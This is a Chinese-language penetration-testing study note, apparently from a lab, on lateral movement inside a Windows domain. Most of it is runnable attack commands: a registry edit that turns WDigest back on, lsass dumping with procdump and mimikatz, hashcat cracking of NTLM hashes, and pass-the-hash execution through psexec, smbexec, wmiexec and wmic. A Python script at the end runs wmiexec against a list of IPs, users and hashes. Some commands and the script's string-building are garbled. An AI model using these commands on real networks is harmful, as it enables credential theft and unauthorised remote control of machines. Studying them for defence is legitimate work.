知識點
windows 2012以上版本預設關閉wdigust,攻擊者無法從記憶體中獲取明文密碼;
Windows2012以下版本如安裝KB287199補丁,同樣也無法從記憶體中獲取明文密碼;
解決方法:
1、利用雜湊hash傳遞(ptl、ptk等)進行移動
2、利用其他服務協議(SMB、WMI等)進行雜湊移動
3、利用登錄檔操作開啟wdigust、Auth值進行獲取
4、利用工具或第三方平臺(Hachcat)進行破解
知識點2:
Windows系統LM Hash及NTLM Hash加密演算法,個人系統在Windows vista後,伺服器系統在Windows 2003以後,認證方式均為NTLM Hash。
登錄檔修改開啟Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Procdump(windows官方自帶)+Mimikatz配合獲取
優點:isass.dump包括一些windows本地策略和賬戶管理,獲取lsass.dmp檔案後,可在本地mimikatz解密;
cmd切換盤:cd /d 目標地址
當mimikatz獲取失敗時配合procdump獲取密碼
1、生成儲存著密碼hash值的.dmp檔案
procdump -accepteula -ma lsass.exe lsass.dmp
2、將dmp檔案放到mimikatz上執行
提權: privilege::debug
記錄控制檯輸入結果:log
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
附兩款提取密碼的軟體
Pwdump7
QuarksPwdump
Hashcat工具破解獲取Windows NTML Hash
hashcat -a 0 -m 1000 hash file --force
該工具還支援更多密碼破解
32ed87bdb5fdc5e9cba88547376818d4
利用SMB服務透過明文hash傳遞遠端執行,條件445服務埠開放即可;
1、psexec第一種(pstool中的PsExec.exe檔案):先有ipc連結,psexec需要明文或hash傳遞
需要先有ipc連結,-s以System許可權執行
net use \[IP]\ipc$"[密碼]" /user:[使用者名稱]
net use \192.168.79.132\ipc$ lcn#123456 /user:lcn.cn\Administrator #建立tcp連線
PsExec.exe \192.168.79.132 -s cmd
2、psexec第二種:不用建立IPC直接提供明文賬戶密碼
PsExec.exe \[IP] -u [使用者名稱] -p [密碼] -s cmd
PsExec.exe \192.168.79.132 -u administrator -p lcn#123456 -s cmd
PsExec.exe -hashes :[密碼的hash值] ./[使用者名稱]@[IP]
PsExec.exe -hashes :b7f2f7b2491ba316e8cd773f8c2d58df ./administrator@192.168.79.132
PsExec.exe -hashes :$HASH$ ./administrator@10.1.2.3
PsExec.exe -hashes :[密碼的hash值] [域名]/[使用者名稱]@[IP]
PsExec.exe -hashes :$HASH$ domain/administrator@10.1.2.3
嘗試失敗。。
官方Pstools無法採用hash連線,可以使用impacket工具包,操作簡單,容易被殺
3smbexec無需先ipc連結明文或hash傳遞
smbexec [域名]/[使用者名稱]:[密碼]@[IP]
smbexec lcn.cn/administrator:lcn#123456@192.168.79.132
smbexec ./[使用者名稱]:[密碼]@[IP]
smbexec ./administrator:lcn#123456@192.168.79.132
smbexec -hashes :[密碼的hash值] ./[使用者名稱]@[IP]
smbexec -hashes :$HASH$ ./lcn#123456@192.168.79.132
smbexec -hashes :[密碼的hash值] [域名]/[使用者名稱]@[IP]
smbexec -hashes :$HASH$ lcn.cn/administrator@192.168.79.132
smbexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df lcn.cn/administrator@192.168.79.132
使用impacket工具包中的psexec模板同理
psexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df lcn.cn/administrator@192.168.79.132
如何區分本地和域使用者
net user :本地使用者
net user /domain:域使用者;連線域使用者需加域名;
域橫向移動WMI服務利用-cscript、wmiexec、wmic
WMI(Windows Management Instrumentation)是==透過135埠進行利用,支援使用者名稱明文或者hash的方式進行認證,並且該方法不會在目標日誌系統留下痕跡。==**
**1、自帶WMIC明文傳遞,無回顯
wmic /node:[IP] /user:[使用者名稱] /password:[密碼] process call create "[命令]"
wmic /node:192.168.79.130 /user:administrator /password:admin@123 process call create "cmd.exe /c ipconfig >C:\1.txt"
(執行cmd,執行ipconfig並將結果輸出到C盤下的1.txt中)
2、自帶cscript明文傳遞,有回顯,需要下載wmiexec.vbs配合
cscript //nologo wmiexec.vbs /shell [IP] [使用者名稱] [密碼]
cscript //nologo wmiexec.vbs /shell 192.168.79.130 administrator admin@123
會反彈一個shell
3、套件impacket wmiexec明文或hash傳遞,有回顯exe版本,可能被殺
wmiexec ./[使用者名稱]:[密碼]@[IP] "[命令]"
wmiexec ./administrator:lcn#123456@192.168.79.132 "whoami"
wmiexec [域名]/[使用者名稱]:[密碼]@[IP] "[命令]"
wmiexec lcn.cn/administrator:lcn#123456@192.168.79.132 "whoami"
wmiexec -hashes :[密碼的hash值] ./[使用者名稱]:[密碼]@[IP] "[命令]"
wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.79.130 "whoami"
wmiexec -hashes :[密碼的hash值] [域名]/[使用者名稱]:[密碼]@[IP] "[命令]"
wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 god/administrator@192.168.3.21 "whoami"
域橫向移動以上服務hash批次利用-python編譯exe
利用py指令碼製作的exe檔案批次嘗試橫向滲透
內網橫向滲透攻擊思路
透過mimikatz收集明文或hash值的密碼,“net user /domain”收集域內的使用者名稱,“for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="”探索域記憶體活地址
批次掃描,用密碼撞庫
收集更多密碼
重複2、3步
``
```
import os
import time
ips={
'192.168.79.128',
'192.168.79.129',
'192.168.79.130',
'192.168.79.132'
}
users={
'admin',
'Administrator',
'administrator',
'userlu',
'testuser',
'juligan'
}
hashs={
'579da618cfbfa85247acf1f800a280a4',
'b7f2f7b2491ba316e8cd773f8c2d58df'
}
'''
passs={
'admin@123', 'admin!123', 'admin#123', 'lcn#123456'}
'''
for ip in ips:
for user in users:
for hash in hashs:
# wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.3.21 "whoami"
exec="wmiexec -hashes :" +hash +' lcn.cn/' +user+ '@'+ ip + "whoami"
execs = "wmiexec -hashes :" + hash + ' ./administrator' + user + '@' + ip + "whoami"
print('--》'+exec+'《--')
os.system(exec)
time.sleep(1)
### 涉及資源:
Hashcat:https://github.com/hashcat/hashcat
密碼破解全能工具:Hashcat密碼破解攻略:https://www.freebuf.com/sectool/164507.html
mimikatz:https://github.com/gentilkiwi/mimikatz
impacket:https://github.com/SecureAuthCorp/impacket
impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows
PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
ProcDump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
wmiexec.vbs:https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs
wmiexec.vbs(找了倆):https://gitee.com/mirrors/K8tools/blob/master/wmiexec.vbs